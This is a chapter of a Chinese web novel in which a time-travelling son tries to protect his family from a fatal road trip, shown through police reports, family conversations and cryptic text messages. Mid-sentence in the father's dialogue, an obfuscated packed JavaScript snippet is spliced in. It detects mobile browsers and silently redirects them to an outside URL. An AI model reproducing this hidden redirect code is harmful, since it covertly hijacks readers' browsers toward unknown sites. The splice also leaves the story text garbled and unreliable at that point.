因为这些话太疯狂了。任何人听到都会认为他疯了。父亲可能会带他去看心理医生，而不是相信他、带他离开这条路。 “就是……不好的预感。”贺宴低下头，“很强烈的预感。” 父亲看着他，很久。 然后，父亲说：“好，我们报警。” 贺宴猛地抬头。 “但不是因为今天的事。”父亲从口袋里拿出手机，“是因为昨天落石那件事。加油站员工诱导我们走老路，老路上有可疑车辆，然后发生落石。这个至少有具体的描述对象和地点。” 他顿了顿：“镇远的加油站，总有监控吧？” 贺宴说不出话来。 父亲相信他。 不是百分之百相信“有人要谋杀我们”，而是相信“儿子真的在害怕”，相信“哪怕只有万分之一的可能，也应该认真对待”。 “我来报警。”父亲已经开始拨号，“你回车上陪你妈他们，别让她们担心。” 贺宴点点头，转身时眼眶发热。 他走回车边。小雨正吃着冰淇淋，母亲在给她擦嘴角的奶油。阳光照在她们身上，很温暖。 贺宴靠在车门上，听父亲在身后打电话： “是的，6月28日上午十点左右……中石化那个站……对，一个年轻男员工，口音是本地的……他说前面修路，让我们走老路……老路发生了落石……” 父亲的声音平稳而坚定，像是在汇报工作。 贺宴第一次感到，他不是一个人在面对这一切。 --- 五、下午四点十七分 报警没有立刻带来结果。 当地派出所接警后，表示会调取加油站监控，但需要时间。至于那辆白色面包车，因为没发生事故，也没有车牌信息，很难追查。 “至少留了记录。”父亲挂掉电话，语气平静，“如果他们真有问题，警方后续会查。” 后续。 贺宴知道，他们没有“后续”了。 如果X的计划是让他们死在路上，那么“后续”只会是一纸“意外”事故报告。 时间还在流逝。 他们继续上路。 下午四点十七分，到达凯里。 父亲订了一家靠近苗寨的民宿，木质结构，建在山坡上。房间推开窗能看见整个寨子，层层叠叠的青瓦屋顶，远处是梯田。 小雨恢复了活力，拉着母亲要去看苗寨表演。母亲询问地看向父亲，父亲点点头：“去吧，我在酒店休息一下。” 贺宴没有跟去。他站在窗边，看着母亲和小雨的背影消失在山路拐角。 “你也去吧，”父亲坐在沙发上，“不用陪我这个老头子。” “我想跟你聊聊。” 父亲抬起头，有些意外。 贺宴坐到他对面。 “爸，你公司那个项目，对手是谁？” 父亲愣了一下：“怎么突然问这个？” “就是想知道。” 父亲沉默片刻：“主要是宏达建设，他们是本地最大的建筑公司，跟我们竞标了好几个项目。” “污水处理厂这个，他们也在争？” “争，而且争得很凶。”父亲苦笑，“他们关系硬，但我们的技术方案更优，最后评审专家选了咱们。宏达那边当时就不服，放话要让我们‘做不下去’。” “他们以前做过什么吗？” “什么算‘做过’？”父亲靠在沙发上，“竞标时造谣我们的资质有问题，验收时举报我们的工程质量——都是商业竞争的常规手段。说难听点，行业里谁都干过类似的事。” “有没有可能……”贺宴斟酌着措辞，“不止是常规手段？” 父亲看着他：“你觉得昨天的落石、今天的逼车，跟宏达有关？” “我不知道。但时间太巧了。” 父亲沉默了很久。 “小宴，我知道你在想什么。”他最终说，“但你要明白，商业竞争归商业竞争，违法归违法。宏达就算再恨我们， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162449|195451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不敢做杀人放火的事。那是死刑。” 贺宴没有反驳。 他曾经也相信这个世界有底线。 直到那个夜晚，那条弯道，那辆永远也避不开的卡车。 “也许吧。”他说。 窗外，苗寨的炊烟开始升起。 游客们陆续归巢，广场上的表演也接近尾声。 贺宴看见母亲和小雨沿着山路走回来。小雨手里多了一个彩色布偶，大概是刚买的纪念品。母亲提着几个塑料袋，里面是当地的特产小吃。 她们走进民宿大门，上楼，推开门。 “你们猜我们买了什么？”小雨兴奋地举起布偶，“是苗族的阿妹娃娃！” 贺宴接过布偶，是个很可爱的小人偶，穿着繁复的绣花衣，银饰叮当。 “好看。”他说。 “哥，明天我们去千户苗寨吧？”小雨期待地看着他，“听说那里更大，夜景也漂亮。” 明天。 6月30日。 倒计时最后一天。 贺宴看着小雨亮晶晶的眼睛。 “好。”他说。 --- 六、深夜笔记 夜里十一点。 贺宴再次失眠。 他坐在窗边，借着月光在笔记本上写字。 “6月29日，凯里： 1.老虎口遇险：白色面包车刻意逼车，驾驶员为昨晚跟踪者（眉骨疤痕/灰色夹克）。意图：迫使车辆失控或坠崖。未遂。 2.父亲已报警，警方介入调查加油站员工。但进展未知，预计短期内无结果。 3.时间线：明日为原定7月1日事故的前一天。按原计划，7月1日傍晚经过S107弯道。 4.现在路线已变，时间已变，但X的追杀依然存在。这意味着：X的目标不是‘特定地点’或‘特定时间’，而是‘我们全家’本身。 5.结论：只要还活着，X就会持续行动。必须找到幕后主使，否则躲得过今天，躲不过明天。” 他放下笔，揉了揉太阳穴。 头疼。 最近几天，头疼越来越频繁。他以为是睡眠不足，但有时候闭上眼睛，会看到奇怪的画面——碎裂的玻璃，安全气囊的白色粉末，还有林镜那张没有表情的脸。 林镜。 那个给他药丸的神秘医生。 他在哪里？他还在“观察”吗？ 贺宴拿出手机，打开那条来自“空号”的短信记录。 “第二天。感觉如何？” “观察者。在你看不见的地方。” “那你就知道，有些事是注定的。” 注定？ 他不相信。 如果一切早已注定，他为什么会回到这里？为什么要让他亲眼看着家人再次走向死亡？ 除非……林镜给他的不是“改变”的机会，而是“选择”的机会。 选择接受，或者选择反抗。 贺宴在对话框里输入一行字： “第六天。我还活着，他们都还活着。” 犹豫了一下，还是发送了。 发送失败的提示立刻出现。 他把手机放在窗台上，继续看着夜色。 十一点四十分。 门外传来轻轻的脚步声。 贺宴警觉地抬头。脚步声在他门口停住了，然后是一声极轻的敲门声。 他走过去，打开门。 是母亲。 她穿着一件旧睡衣，头发披散着，脸上没有化妆，看起来比白天疲惫许多。 “还没睡？”母亲低声问。 “睡不着。” “我也是。”母亲犹豫了一下，“可以进去吗？” 贺宴侧身让开门。 母亲走进房间，没有坐椅子，而是坐在床边。她环顾四周，目光落在窗台上的笔记本上，但没有问。 “小宴，”她开口，“你老实告诉妈，你是不是遇到什么事了？” 贺宴站在她对面，没有说话。 “你以前不是这样的。”母亲看着他，眼神里有担忧，也有某种他读不懂的情绪，“你从小到大都很稳，考试前不紧张，比赛前不紧张，连高考前一天都睡得很好。但这次……” 她停顿了一下。 “这次你好像一直在害怕。” 贺宴的喉咙发紧。 他想说“我没有害怕”，但说不出口。 因为他在害怕。从醒来的那一刻起，每一秒都在害怕。害怕再失去他们，害怕努力一场还是徒劳，害怕自己不够强大，保护不了最重要的人。 “妈，”他的声音很低，“如果……我是说如果，有一天你发现我骗了你一些事，你会怪我吗？” 母亲静静地看着他。 “那要看是什么事。”她说，“如果是你为了别人好而说的谎，我不会怪你。” “如果那个谎说出来，听起来很疯呢？” 母亲沉默了几秒。 然后她伸出手，握住贺宴的手。 “小宴，”她说，“你是我儿子。你还没出生，我就知道你是个急性子，在肚子里踢个不停；你一岁学走路，摔了十七跤才学会，但从来没哭过；你七岁那年发高烧，烧到四十度，迷迷糊糊还在背乘法口诀。” 她握紧他的手。 “我见过你所有的样子。所以，无论你告诉我什么，我都不会觉得你疯了。” 贺宴看着母亲。 他想起那个梦——不，那不是梦，那是真实发生过的记忆。在事故发生后，他在医院醒来，警察告诉他母亲当场死亡，连最后一句话都没留下。 他曾经以为，他永远没有机会再听到她的声音。 “妈，”他的声音在发抖，“我做了一个梦。” “嗯。” “我梦见我们一家去云南，在路上出了车祸。”他说得很慢，每一个字都像在刀尖上行走，“爸死了，你死了，小雨也死了，只有我活着。我一个人在医院躺了很久，然后被送到精神病院，每天吃药，每天做心理治疗。” 母亲没有说话，只是握紧他的手。 “我在那里待了四百多天，”贺宴继续说，“每天醒来都想死。后来有一天，一个医生给了我一颗药。我吃了，然后就回到了出发前。” 他抬起头，看着母亲。 “现在是第六天。我不知道梦会不会成真。我真的很害怕。” 沉默。 窗外的虫鸣忽然清晰起来，一声接一声，像计时器。 母亲轻轻呼出一口气。 “那个梦，”她问，“出发前你没跟我们说，对吗？” “说了你们也不会信。” “所以你一直自己在扛？” 贺宴没有回答。 母亲看着他，眼眶慢慢红了。 “傻孩子。”她说，声音很轻，带着颤抖，“你一个人扛了这么多天，怎么不早告诉我们？” “我怕……” “怕什么？怕我们不信？”母亲摇头，“就算梦是假的，你的害怕是真的。我们怎么会不信你？” 贺宴说不出话。 母亲站起来，轻轻地，把他拉到身边，像小时候那样抱住他。 “小宴，”她说，“无论那个梦会不会成真，我们都在这里。” 她的怀抱很温暖，有洗衣液的清香，还有母亲特有的、无法言说的气息。 四百三十七天。 他独自一人在黑暗中跋涉了四百三十七天。 现在，光终于照进来了。 “明天，”母亲松开他，看着他的眼睛，“我们一家人好好商量。路线、行程，都按让你安心的方式来。好吗？” 贺宴点头。 “去睡吧。”母亲说，“不管发生什么，我们在一起。” 她走到门口，回头看了他一眼，然后轻轻带上门。 贺宴站在原地，很久。 窗台上，手机屏幕亮了一下。 他走过去，拿起手机。 是一条短信。 来自那个“空号”。 “第六天。你做得很好。” 贺宴盯着这行字，心跳突然加速。 他迅速输入： “你到底是谁？为什么帮我？” 这次，对方没有让他等太久。 “我是上一个选择‘接受’的人。” 上一个。 贺宴的手指僵在屏幕上。 “你失败了？”他问。 “是。也不是。” “什么意思？” “你很快会明白。” “什么时候？” 这次，间隔了很久。 久到贺宴以为对方不会再回复。 然后： “当你面临我当年的那个选择。” 屏幕暗下去。 贺宴站在窗前，把这句话在心里反复咀嚼。 选择。 什么选择？ 他想起林镜说过的话：“有些人注定要离开，有些人注定要留下。你要学会接受。” 但那是接受失败。 他不想接受。 窗外的夜色依然深沉。 明天是6月30日。 倒计时最后一天。 他不知道那个“选择”会在什么时候来临。 但他知道，自己已经有了答案。 无论选择是什么。 无论结局如何。 这一次，他不会再一个人扛着。